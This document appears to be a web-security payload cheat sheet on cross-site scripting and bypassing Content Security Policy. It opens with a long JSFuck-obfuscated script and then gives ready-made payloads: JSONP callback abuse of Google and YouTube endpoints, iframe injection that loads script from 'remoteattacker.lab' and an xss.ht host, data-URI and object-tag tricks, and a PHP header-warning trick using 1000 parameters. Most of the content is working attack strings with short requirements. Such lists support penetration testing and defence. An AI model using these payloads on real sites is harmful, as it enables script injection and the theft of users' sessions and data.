<script>(+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]]]+[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]])()</script>

Bypass using jsfuck

Bypass using jsfuck

[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+(![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]+[+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]])()

CSP Bypass

Check the CSP on https://csp-evaluator.withgoogle.com and the post : How to use Google’s CSP Evaluator to bypass CSP

Bypass CSP using JSONP

Requirements:

  • CSP: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';

Payload:

Use a callback function from a whitelisted source listed in the CSP.

  • Google Search: //google.com/complete/search?client=chrome&jsonp=alert(1);
  • Google Account: https://accounts.google.com/o/oauth2/revoke?callback=alert(1337)
  • Google Translate: https://translate.googleapis.com/$discovery/rest?version=v3&callback=alert();
  • Youtube: https://www.youtube.com/oembed?callback=alert;
  • Intruders/jsonp_endpoint.txt
  • JSONBee/jsonp.txt
<script/src=//google.com/complete/search?client=chrome%26jsonp=alert(1);>"

Bypass CSP default-src

Requirements:

  • CSP like Content-Security-Policy: default-src 'self' 'unsafe-inline';,

Payload:

http://example.lab/csp.php?xss=f=document.createElement%28"iframe"%29;f.id="pwn";f.src="/robots.txt";f.onload=%28%29=>%7Bx=document.createElement%28%27script%27%29;x.src=%27//remoteattacker.lab/csp.js%27;pwn.contentWindow.document.body.appendChild%28x%29%7D;document.body.appendChild%28f%29;

script=document.createElement('script');
script.src='//remoteattacker.lab/csp.js';
window.frames[0].document.head.appendChild(script);

Source: lab.wallarm.com

Bypass CSP inline eval

Requirements:

  • CSP inline or eval

Payload:

d=document;f=d.createElement("iframe");f.src=d.querySelector('link[href*=".css"]').href;d.body.append(f);s=d.createElement("script");s.src="https://[YOUR_XSSHUNTER_USERNAME].xss.ht";setTimeout(function(){f.contentWindow.document.head.append(s);},1000)

Source: Rhynorater

Bypass CSP script-src self

Requirements:

  • CSP like script-src self

Payload:

<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>

Source: @akita_zen

Bypass CSP script-src data

Requirements:

Payload:

<script src="data:,alert(1)">/</script>

Source: @404death

Bypass CSP unsafe-inline

Requirements:

  • CSP: script-src https://google.com 'unsafe-inline';

Payload:

"/><script>alert(1);</script>

Bypass CSP header sent by PHP

Requirements:

  • CSP sent by PHP header() function

Payload:

In default php:apache image configuration, PHP cannot modify headers when the response's data has already been written. This event occurs when a warning is raised by PHP engine.

Here are several ways to generate a warning:

  • 1000 $_GET parameters
  • 1000 $_POST parameters
  • 20 $_FILES

If the Warning are configured to be displayed you should get these:

  • Warning: PHP Request Startup: Input variables exceeded 1000. To increase the limit change max_input_vars in php.ini. in Unknown on line 0
  • Warning: Cannot modify header information - headers already sent in /var/www/html/index.php on line 2
GET /?xss=<script>alert(1)</script>&a&a&a&a&a&a&a&a...[REPEATED &a 1000 times]&a&a&a&a

Source: @pilvar222

Labs

References